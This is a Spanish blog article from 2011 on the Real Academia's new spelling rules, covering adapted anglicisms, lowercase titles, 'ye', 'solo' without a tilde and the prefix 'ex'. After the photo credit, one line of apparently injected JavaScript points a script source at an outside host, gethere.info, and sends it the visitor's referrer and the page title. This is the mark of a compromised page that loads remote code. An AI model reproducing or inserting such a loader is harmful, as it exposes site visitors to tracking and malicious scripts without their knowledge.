Recomendaciones de uso de nuestro idioma: la nueva Ortografía

14/04/2011

La esencia de la nueva Ortografía: escribir como se habla y no utilizar anglicismos innecesarios

La Real Academia de la Lengua ha sacado a la luz una nueva Ortografía -proyecto dirigido por el académico español Salvador Gutiérrez Ordóñez– donde la grafía de muchas palabras ha sido modificada. Los académicos han adoptado de forma rápida lo que en el hablar de la calle es ya una realidad evidente. Así, habrá que habituarse a leer palabras como «cáterin, mánayer, yudo, sexi y pirsin».

El Renacimiento estuvo marcado por los italianismos, la Ilustración por los galicismos y nuestra época por los anglicismos. Segúna la RAE, hay que dejar vía libre a las palabras nuevas -neologismos- que no tienen sinónimos en nuestra lengua y por tanto, son necesarias. Sin embargo, aquellas que sean innecesarias hay que evitarlas todo lo posible:

«El fenómeno canadiense sigue arrasando, todos quieren tenerlo cerca. La «Biebermanía» es tan grande que llega hasta las más prestigiosas celebrities«.

De este modo, este ejemplo debería escribirse de la siguiente manera:

«El fenómeno canadiense sigue arrasando, todos quieren tenerlo cerca. La «Biebermanía» es tan grande que llega hasta los más prestigiosos famosos«.

Otros datos curiosos de esta nueva Ortografía:

  • Mayúsculas y minúsculas. Los sustantivos que designan títulos nobiliarios, dignidades y cargos o empleos de cualquier rango (ya sean civiles, militares, religiosos, públicos o privados) deben escribirse con minúscula inicial por su condición de nombres comunes: «el rey inaugurará la nueva biblioteca», «el papa es la máxima jerarquía del catolicismo».
  • La i griega se llamará ye. La nueva Ortografía propone un solo nombre para cada letra, como doble uve para w. La desaparición de la i griega afecta también a la i latina, que pasa a denominarse simplemente i.
  • Ch y ll ya no son letras.
  • Solo siempre sin tilde.
  • Sin tilde. Hasta ahora, se podía escribir guion-guión, huihuí, riais-riáis etc. La nueva Ortografía considera que estas palabras son monosílabas a efectos ortográficos y que, se pronuncien como se pronuncien, deben escribirse siempre sin tilde.
  • 4 o 5 y no 4 ó 5. Los teclados de los ordenadores han eliminado el peligro de confundir la letra o con la cifra cero.
  • La letra k ya es plenamente española. Se elimina la q como letra que representa por sí sola el fonema /k/. Deberá escribirse ahora: «Irak, Catar y cuórum».
  • La partícula ex se homologa al resto de prefijos: se escribirán unidos a la base «cuando sea una palabra simple (exmarido, antisocial, proamericano)» y separados cuando “afectan a bases léxicas compuestas (ex capitán general, pro derechos humanos)”.

Foto | diegoksk

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + »;

ARTÍCULOS RELACIONADOS
COMPARTE ESTE ARTÍCULO